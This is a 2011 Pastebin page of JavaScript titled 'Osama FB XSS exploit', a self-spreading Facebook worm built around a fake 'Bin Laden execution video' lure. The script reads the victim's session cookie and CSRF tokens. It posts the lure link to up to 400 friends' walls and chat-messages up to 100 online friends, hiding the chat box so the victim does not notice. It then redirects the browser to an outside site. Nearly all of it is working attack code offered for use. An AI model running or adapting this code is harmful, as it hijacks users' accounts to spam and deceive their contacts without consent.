Advertisement
maha_kaal

Osama FB XSS exploit

May 4th, 2011
425
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.    1.
  2.       ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  3.    2.
  4.       // KuNG FU JS v.1  20yrsplus.info
  5.    3.
  6.       ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  7.    4.
  8.        
  9.    5.
  10.       //alert('Photo Uploaded! Please wait 1-2 minutes without leaving this page until we process your picture!');
  11.    6.
  12.        
  13.    7.
  14.       function readCookie(name) {
  15.    8.
  16.              
  17.    9.
  18.               var nameEQ = name + "=";
  19.   10.
  20.               var ca = document.cookie.split(';');
  21.   11.
  22.               for(var i=0;i < ca.length;i++) {
  23.   12.
  24.                       var c = ca[i];
  25.   13.
  26.                       while (c.charAt(0)==' ') c = c.substring(1,c.length);
  27.   14.
  28.                       if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  29.   15.
  30.               }
  31.   16.
  32.               return null;
  33.   17.
  34.        
  35.   18.
  36.       }
  37.   19.
  38.        
  39.   20.
  40.       var user_id = readCookie("c_user");
  41.   21.
  42.        
  43.   22.
  44.        
  45.   23.
  46.       // Setup some variables
  47.   24.
  48.        
  49.   25.
  50.       var post_form_id = document.getElementsByName('post_form_id')[0].value;
  51.   26.
  52.       var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  53.   27.
  54.        
  55.   28.
  56.       // Chat message variables
  57.   29.
  58.        
  59.   30.
  60.       var linkies = [
  61.   31.
  62.               "http://www.facebook.com/Osama.Gets.Shot.Down",
  63.   32.
  64.               "http://www.facebook.com/Osama.Gets.Shot.Down",
  65.   33.
  66.               "http://www.facebook.com/Osama.Gets.Shot.Down",
  67.   34.
  68.               "http://www.facebook.com/Osama.Gets.Shot.Down"
  69.   35.
  70.       ]
  71.   36.
  72.        
  73.   37.
  74.       var this_chat = "Watch Osama's EXECUTION Video! " + linkies[Math.floor(Math.random()*linkies.length)];
  75.   38.
  76.       var prepared_chat = encodeURIComponent(this_chat);
  77.   39.
  78.        
  79.   40.
  80.        
  81.   41.
  82.       ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  83.   42.
  84.       // Post Link to friends walls
  85.   43.
  86.       ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  87.   44.
  88.        
  89.   45.
  90.       var token = Math.round(new Date().getTime() / 1000);
  91.   46.
  92.        
  93.   47.
  94.       var http1 = new XMLHttpRequest();
  95.   48.
  96.        
  97.   49.
  98.       var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token="+token+"-6&filter[0]=user&options[0]=friends_only";
  99.   50.
  100.        
  101.   51.
  102.       var params1 = "";
  103.   52.
  104.       http1.open("GET", url1+"?"+params1, true);
  105.   53.
  106.       http1.onreadystatechange = function() {//Call a function when the state changes.
  107.   54.
  108.        
  109.   55.
  110.               if(http1.readyState == 4 && http1.status == 200) { // If state = success
  111.   56.
  112.                      
  113.   57.
  114.                       var response1 = http1.responseText;
  115.   58.
  116.                      
  117.   59.
  118.                       response1 = response1.replace("for (;;);", ""); // Get rid of the junk at the beginning of the returned object
  119.   60.
  120.                       response1 = JSON.parse(response1); // Convert the response to JSON
  121.   61.
  122.                      
  123.   62.
  124.                       //alert(response4.toSource());
  125.   63.
  126.                      
  127.   64.
  128.                       var count = 0;
  129.   65.
  130.                      
  131.   66.
  132.                       for(uid in response1.payload.entries){
  133.   67.
  134.                              
  135.   68.
  136.                               if(count < 400){
  137.   69.
  138.                                      
  139.   70.
  140.                                       //alert("SENT TO "+response1.payload.entries[count].uid);
  141.   71.
  142.        
  143.   72.
  144.                                       // Loop to send messages
  145.   73.
  146.                              
  147.   74.
  148.                                       // New XMLHttp object
  149.   75.
  150.                                       var httpwp = new XMLHttpRequest();
  151.   76.
  152.                                                              
  153.   77.
  154.                                       var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1";
  155.   78.
  156.                                      
  157.   79.
  158.                                       var statusmessage="Disturbing Yet Awesome!";
  159.   80.
  160.                                       var title="Bin Laden EXECUTION Video! Yes it's REAL!";
  161.   81.
  162.                                       var link=linkies[Math.floor(Math.random()*linkies.length)];
  163.   82.
  164.                                       var description="Commandos attack Bin Laden's compund and take him out!";
  165.   83.
  166.                                       var picture="http://i.imgur.com/yTjtU.jpg";
  167.   84.
  168.                                      
  169.   85.
  170.                                       var paramswp = "post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&xhpc_composerid=u574553_1&xhpc_targetid="+response1.payload.entries[count].uid+"&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]="+title+"&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]="+link+"&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]="+title+"&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]="+picture+"&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]="+description+"&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]="+description+"&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]="+link+"&attachment[params][favicon]=http%3A%2F%2F20-y-rr-z.info%2Ffavicon.ico&attachment[params][title]="+title+"&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]="+description+"&attachment[params][url]="+link+"&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]="+description+"&attachment[params][images][0]="+picture+"&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text="+statusmessage+")&xhpc_message="+statusmessage+")&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest";
  171.   86.
  172.                                      
  173.   87.
  174.                                       httpwp.open("POST", urlwp, true);
  175.   88.
  176.                                      
  177.   89.
  178.                                       //Send the proper header information along with the request
  179.   90.
  180.                                      
  181.   91.
  182.                                       httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  183.   92.
  184.                                       httpwp.setRequestHeader("Content-length", paramswp.length);
  185.   93.
  186.                                       httpwp.setRequestHeader("Connection", "keep-alive");                                  
  187.   94.
  188.                                      
  189.   95.
  190.                                       httpwp.onreadystatechange = function() { //Call a function when the state changes.
  191.   96.
  192.                                               if(httpwp.readyState == 4 && httpwp.status == 200){
  193.   97.
  194.                                                       //alert(http.responseText);
  195.   98.
  196.                                                       //alert('buddy list fetched');
  197.   99.
  198.                                               }
  199.  100.
  200.        
  201.  101.
  202.                                       }
  203.  102.
  204.        
  205.  103.
  206.                                       httpwp.send(paramswp);
  207.  104.
  208.              
  209.  105.
  210.                               }
  211.  106.
  212.        
  213.  107.
  214.                               count++; // increment counter
  215.  108.
  216.                      
  217.  109.
  218.                       }
  219.  110.
  220.                                      
  221.  111.
  222.                       http1.close; // Close the connection
  223.  112.
  224.                      
  225.  113.
  226.                      
  227.  114.
  228.                      
  229.  115.
  230.               }
  231.  116.
  232.              
  233.  117.
  234.       }
  235.  118.
  236.        
  237.  119.
  238.       http1.send(null);
  239.  120.
  240.        
  241.  121.
  242.        
  243.  122.
  244.       ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  245.  123.
  246.       // Hide chat boxes
  247.  124.
  248.       ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  249.  125.
  250.        
  251.  126.
  252.       var hide = document.getElementById('fbDockChatTabSlider');
  253.  127.
  254.        
  255.  128.
  256.       hide.style.display = "none";
  257.  129.
  258.        
  259.  130.
  260.        
  261.  131.
  262.       ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  263.  132.
  264.       // Get online friends and send chat message to them
  265.  133.
  266.       ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  267.  134.
  268.        
  269.  135.
  270.       var http3 = new XMLHttpRequest();
  271.  136.
  272.        
  273.  137.
  274.       var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1";
  275.  138.
  276.       var params3 = "user="+user_id+"&popped_out=false&force_render=true&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
  277.  139.
  278.       http3.open("POST", url3, true);
  279.  140.
  280.        
  281.  141.
  282.       //Send the proper header information along with the request
  283.  142.
  284.       http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  285.  143.
  286.       http3.setRequestHeader("Content-length", params3.length);
  287.  144.
  288.       http3.setRequestHeader("Connection", "close");
  289.  145.
  290.        
  291.  146.
  292.       http3.onreadystatechange = function() {//Call a function when the state changes.
  293.  147.
  294.               if(http3.readyState == 4 && http3.status == 200) {
  295.  148.
  296.                      
  297.  149.
  298.                       var response3 = http3.responseText;
  299.  150.
  300.                      
  301.  151.
  302.                       response3 = response3.replace("for (;;);", "");
  303.  152.
  304.                       response3 = JSON.parse(response3);
  305.  153.
  306.                      
  307.  154.
  308.                       var count = 0;
  309.  155.
  310.                      
  311.  156.
  312.                       for(property in response3.payload.buddy_list.nowAvailableList){
  313.  157.
  314.                              
  315.  158.
  316.                               if(count < 100){
  317.  159.
  318.                                      
  319.  160.
  320.                                       // Loop to send messages
  321.  161.
  322.                              
  323.  162.
  324.                                       // New XMLHttp object
  325.  163.
  326.                                       var httpc = new XMLHttpRequest();
  327.  164.
  328.                                      
  329.  165.
  330.                                       // Generate random message ID
  331.  166.
  332.                                                                      
  333.  167.
  334.                                       var msgid = Math.floor(Math.random()*1000000);
  335.  168.
  336.                                      
  337.  169.
  338.                                       var time = Math.round(new Date().getTime() / 1000);
  339.  170.
  340.                                      
  341.  171.
  342.                                       var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1";
  343.  172.
  344.                                       var paramsc = "msg_id="+msgid+"&client_time="+time+"&to="+property+"&num_tabs=1&pvs_time="+time+"&msg_text="+prepared_chat+"&to_offline=false&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest";
  345.  173.
  346.                                       httpc.open("POST", urlc, true);
  347.  174.
  348.                                      
  349.  175.
  350.                                       //Send the proper header information along with the request
  351.  176.
  352.                                       httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  353.  177.
  354.                                       httpc.setRequestHeader("Content-length", paramsc.length);
  355.  178.
  356.                                       httpc.setRequestHeader("Connection", "close");
  357.  179.
  358.                                      
  359.  180.
  360.                                       httpc.onreadystatechange = function() { //Call a function when the state changes.
  361.  181.
  362.                                               if(httpc.readyState == 4 && httpc.status == 200){
  363.  182.
  364.                                                       //alert(http.responseText);
  365.  183.
  366.                                                       //alert('buddy list fetched');
  367.  184.
  368.                                               }
  369.  185.
  370.                                       }
  371.  186.
  372.                                       httpc.send(paramsc);
  373.  187.
  374.              
  375.  188.
  376.                               }
  377.  189.
  378.                              
  379.  190.
  380.                               //alert(property);
  381.  191.
  382.                               count++; // increment counter
  383.  192.
  384.                      
  385.  193.
  386.                       }
  387.  194.
  388.                      
  389.  195.
  390.                       http3.close; // Close the connection
  391.  196.
  392.                      
  393.  197.
  394.               }
  395.  198.
  396.       }
  397.  199.
  398.       http3.send(params3);
  399.  200.
  400.        
  401.  201.
  402.        
  403.  202.
  404.        
  405.  203.
  406.        
  407.  204.
  408.        
  409.  205.
  410.        
  411.  206.
  412.        
  413.  207.
  414.       /*
  415.  208.
  416.       ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  417.  209.
  418.       // Become a Fan - MW GIVEAWAY
  419.  210.
  420.       ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  421.  211.
  422.        
  423.  212.
  424.       var http4 = new XMLHttpRequest();
  425.  213.
  426.        
  427.  214.
  428.       var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  429.  215.
  430.        
  431.  216.
  432.       var params4 = "fbpage_id=217981564879947&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"
  433.  217.
  434.        
  435.  218.
  436.       http4.open("POST", url4, true);
  437.  219.
  438.        
  439.  220.
  440.       //Send the proper header information along with the request
  441.  221.
  442.       http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  443.  222.
  444.       http4.setRequestHeader("Content-length", params4.length);
  445.  223.
  446.       http4.setRequestHeader("Connection", "close");
  447.  224.
  448.        
  449.  225.
  450.       http4.onreadystatechange = function() {//Call a function when the state changes.
  451.  226.
  452.               if(http4.readyState == 4 && http4.status == 200) {
  453.  227.
  454.                              
  455.  228.
  456.                       http4.close; // Close the connection
  457.  229.
  458.                      
  459.  230.
  460.               }
  461.  231.
  462.       }
  463.  232.
  464.       http4.send(params4);
  465.  233.
  466.        
  467.  234.
  468.        
  469.  235.
  470.       ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  471.  236.
  472.       // Become a Fan - MW GIft
  473.  237.
  474.       ///////////////////////////////////////////////////////////////////////////////////////////////////////////////
  475.  238.
  476.        
  477.  239.
  478.       var http5 = new XMLHttpRequest();
  479.  240.
  480.        
  481.  241.
  482.       var url5 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
  483.  242.
  484.        
  485.  243.
  486.       var params5 = "fbpage_id=217981564879947&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"
  487.  244.
  488.        
  489.  245.
  490.       http5.open("POST", url5, true);
  491.  246.
  492.        
  493.  247.
  494.       //Send the proper header information along with the request
  495.  248.
  496.       http5.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  497.  249.
  498.       http5.setRequestHeader("Content-length", params5.length);
  499.  250.
  500.       http5.setRequestHeader("Connection", "close");
  501.  251.
  502.        
  503.  252.
  504.       http5.onreadystatechange = function() {//Call a function when the state changes.
  505.  253.
  506.               if(http5.readyState == 4 && http5.status == 200) {
  507.  254.
  508.                              
  509.  255.
  510.                       http5.close; // Close the connection
  511.  256.
  512.                      
  513.  257.
  514.               }
  515.  258.
  516.       }
  517.  259.
  518.       http5.send(params5);
  519.  260.
  520.       */
  521.  261.
  522.        
  523.  262.
  524.       //document.getElementById('susta').style.display="none";
  525.  263.
  526.       document.getElementById('contentArea').innerHTML="<center><br><br><br><br><br><br><br><br><img src=\"http://www.hindustantimes.com/images/loading_gif.gif\" /><br />Please wait...</center>";
  527.  264.
  528.       setTimeout("window.location = 'http://osama.mytopanswers.info/video.htm';", 15000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement